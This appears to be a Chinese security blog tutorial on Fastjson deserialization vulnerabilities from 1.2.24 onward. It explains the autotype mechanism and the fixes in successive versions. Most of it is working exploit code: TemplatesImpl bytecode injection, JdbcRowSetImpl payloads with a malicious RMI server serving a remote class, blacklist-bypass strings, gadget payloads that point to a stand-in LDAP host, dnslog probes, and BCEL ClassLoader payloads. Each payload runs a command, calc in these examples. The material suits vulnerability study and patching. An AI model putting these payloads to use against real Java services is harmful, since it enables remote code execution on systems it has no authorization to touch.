FastJson用于对JSON格式的数据进行解析和打包。简单的来说就是处理json格式的数据的。例如将json转换成一个类或者是将一个类转换成一段json数据。
pom.xml
1
2
3
4
5
|
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
|
1
2
3
4
5
6
7
8
9
10
|
//序列化
String str= JSON.toJSONString(user1);
//结果: {"age":18,"name":"xiaoming"}
String str=JSON.toJSONString(user1, SerializerFeature.WriteClassName);
//结果: {"@type":"fastjson.User","age":18,"name":"xiaoming"}
//反序列化
Object user1 = JSON.parse(str); //解析为Object类型或者JSONArray类型
JSONObject user1 = JSON.parseObject(str); //JSON文本解析成JSONObject类型
User user1 = JSON.parseObject(str, User.class); //JSON文本解析成指定的User.class类
|
序列化时,传入SerializerFeature.WriteClassName
可以使得序列化成JSON的数据多一个@type,这个是代表对象类型的JSON文本。并且FastJson会调用对象成员对应的get方法,被private修饰且没有get方法的成员不会被序列化。
JSON.parseObject
方法中没指定对象,返回的则是JSONObject的对象。JSON.parseObject
只是在JSON.parse
的基础上做了一个封装。在反序列化时,会调用了指定类的全部的setter(publibc修饰)进行赋值。
Fastjson相关的漏洞是利用autotype在处理json对象的时候,未对@type字段进行安全验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机或通过其中的恶意类执行代码。
适用于: FastJason 1.2.22-1.2.24
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class run {
public static void main(String[] args) {
try{
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
byte[] evilCode = clas.toBytecode();
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
Object obj = JSON.parseObject(text1, Object.class,Feature.SupportNonPublicField);
}catch (Exception e)
{
e.printStackTrace();
}
}
}
|
-
@type
: 用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,并调用了getOutputProperties方法,实例化了传入的bytecodes类,导致代码执行。
Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField
(支持反序列化时使用非public修饰符的属性)才能触发。
-
_bytecodes
: 继承AbstractTranslet 类的恶意类字节码,并且使用Base64编码
-
_name
: 调用getTransletInstance时会判断其是否为null,为null直接return,所以这里需要它不为空。(可参考cc2和cc4链)。
-
_tfactory
: defineTransletClasses中会调用其getExternalExtensionsMap方法,为null会出现异常。
-
outputProperties
: Fastjson反序列化过程中会调用其getOutputProperties 方法,导致bytecodes字节码成功实例化,造成代码执行。
Fastjson中使用TemplatesImpl链的条件比较苛刻,因为parseObject
中需要加入Feature.SupportNonPublicField
,这种方式并不多见。
影响范围: fastjson <= 1.2.24
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
不需要设置Feature.SupportNonPublicField
POC
1
2
3
4
5
6
7
8
9
|
package fastjson;
import com.alibaba.fastjson.JSON;
public class run {
public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/obj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
|
dataSourceName参数在解析时候则会调用setDataSourceName对DataSourceName变量进行赋值。autoCommit也一样会调用setAutoCommit方法,在该方法中调用了connect()方法对lookup()传入了DataSourceNamece变量的值。
RMI Server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
package fastjson;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj", referenceWrapper);
System.out.println("running");
}catch (Exception e){
e.printStackTrace();
}
}
}
|
test.java
1
2
3
4
5
6
7
8
9
10
11
12
|
import java.io.IOException;
public class test {
public test() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
|
-
自1.2.25起autotype默认为false。
AutoType为false
时只允许白名单的类,但白名单默认是空的,所以该状态不会反序列化任何类。
AutoType为true
时是基于内置黑名单来实现安全的。
-
且增加了checkAutoType方法,在该方法中进行黑白名单类校验(从字符串开头进行匹配className.startsWith(deny)
)。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class run {
public static void main(String[] args) {
//需要开启autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/obj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
|
这里前面添加L
后面添加;
的原因是: com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader);
方法中,内容如果为L
开头;
结尾的话就会将这2个字符清空。
修复方式:
明文黑名单改为HASH值,checkAutoType方法添加L
和;
字符过滤。
1
2
3
4
5
6
7
8
9
10
11
12
|
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class run {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/obj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
|
利用了双写的方式,在com.alibaba.fastjson.parser#checkcheckAutoType
中将L
和;
进行清空,而在TypeUtils.loadclass中将第二组内容清空。
修复方式:
在1.2.43版本中对了LL开头的绕过进行了封堵。
1
2
3
4
5
6
7
8
9
10
11
12
|
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class run {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"rmi://127.0.0.1:1099/obj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
|
修复方式:
在1.2.44中将[
进行限制。
利用条件需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
1
2
3
4
5
|
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>
|
1
2
3
4
5
6
7
8
9
10
11
12
|
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class run {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/obj\"}}";
JSON.parse(PoC);
}
}
|
修复方式:
1.2.46无法执行成功,应该是把该类拉入了黑名单中。
可以直接绕过AutoTypeSupport,即便关闭AutoTypeSupport也能直接执行成功。
-
利用到了java.lang.class
,这个类不在黑名单,所以checkAutotype可以过。
-
这个java.lang.class
类对应的deserializer为MiscCodec,deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中。
-
再次通过checkAutotype检查com.sun.rowset.JdbcRowSetImpl
类时,由于之前缓存了该类到map,所以TypeUtils.getClassFromMapping(typeName) == null
会一直为false,永远不会抛出异常。接着往下执行从全局map中便获取到了这个class。
1
2
3
4
5
6
7
8
9
10
|
package fastjson;
import com.alibaba.fastjson.JSON;
public class run {
public static void main(String[] args) {
String PoC = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/obj\",\"autoCommit\":true}}";
JSON.parse(PoC);
}
}
|
修复方式:
在1.2.48中MiscCodec处理Class类的地方设置了cache为false。
在1.2.68引入了safemode,打开safemode时@type
完全无用,无论白名单和黑名单,都不支持autoType。
基于黑名单绕过,autoTypeSupport属性为true才能使用,在1.2.25版本之后autoTypeSupport默认为false
1
2
3
4
|
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://1.1.1.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://1.1.1.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://1.1.1.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap:/1.1.1.1:1389/Calc"}}
|
AutoCloseable利用链,可以看看这个博客 http://b1ue.cn/page/1/
根据报错回显,确定用的是否是FastJson。
例如修改http请求方法GET为POST,添加Content-Type:application/json
,在发送一个{"test":"
。如果目标开启了报错,则有报错回显。(也可以发送{"@type":"java.lang.AutoCloseAble"
根据报错获取版本信息)
另外一种是用dnslog方式去探测,其中Inet4Address、Inet6Address直到1.2.67都可用(需要开启autotype)
1
2
3
4
|
//这几个本地未测成功
{"rand1":{"@type":"java.net.InetAddress","val":"<http://dnslog>"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"<http://dnslog>"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"<http://dnslog>"}}
|
再用JdbcRowSetImpl这条链去打的时候,遇到不出网的情况就没办法利用。前面说到过TemplatesImpl可以加载字节码,但在调用parseObject()方法时,需要加入Feature.SupportNonPublicField参数才行。
在tomcat中com.sun.org.apache.bcel.internal.util.ClassLoader
的loadclass方法可以进行bcel字节码的加载。该方法也能绕过autotype的限制。
1
2
3
4
5
|
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
|
test.java
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package com;
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
package fastjson;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class run {
public static void main(String[] args) {
try{
JavaClass cls = Repository.lookupClass(test.class);
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
String poc = "{{\"aaa\": {\"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": \"$$BCEL$$"+ code+ "\"}}: \"bbb\"}";
/*
或者: (这两个都一样的)
"{{\"@type\": \"com.alibaba.fastjson.JSONObject\",\"aaa\": {\"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": \"$$BCEL$$"+ code+ "\"}}:\"bbb\"}"
*/
System.out.println(poc);
JSON.parse(poc);
}catch (Exception e){
e.printStackTrace();
}
}
}
|
注意: tomcat7使用的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource
,而在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource
利用的是$ref特性:当fastjson版本>=1.2.36时,可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package fastjson;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class run {
public static void main(String[] args) {
try{
JavaClass cls = Repository.lookupClass(test.class);
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
String poc = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"},\"x\":{\"name\": {\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"y\": \n" +
"{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\": {\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\": {\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\n" +
"\"driverClassName\":\"$$BCEL$$"+code+"\",\"$ref\":\"$.x.y.c.connection\"}}}}";
System.out.println(poc);
JSON.parseObject(poc);
}catch (Exception e){
e.printStackTrace();
}
}
}
|
- 一起来看看Fastjson的三种漏洞利用链
- Java安全之Fastjson反序列化漏洞分析
- Java安全之FastJson JdbcRowSetImpl 链分析
- Java动态类加载,当FastJson遇到内网
- Fastjson 反序列化漏洞史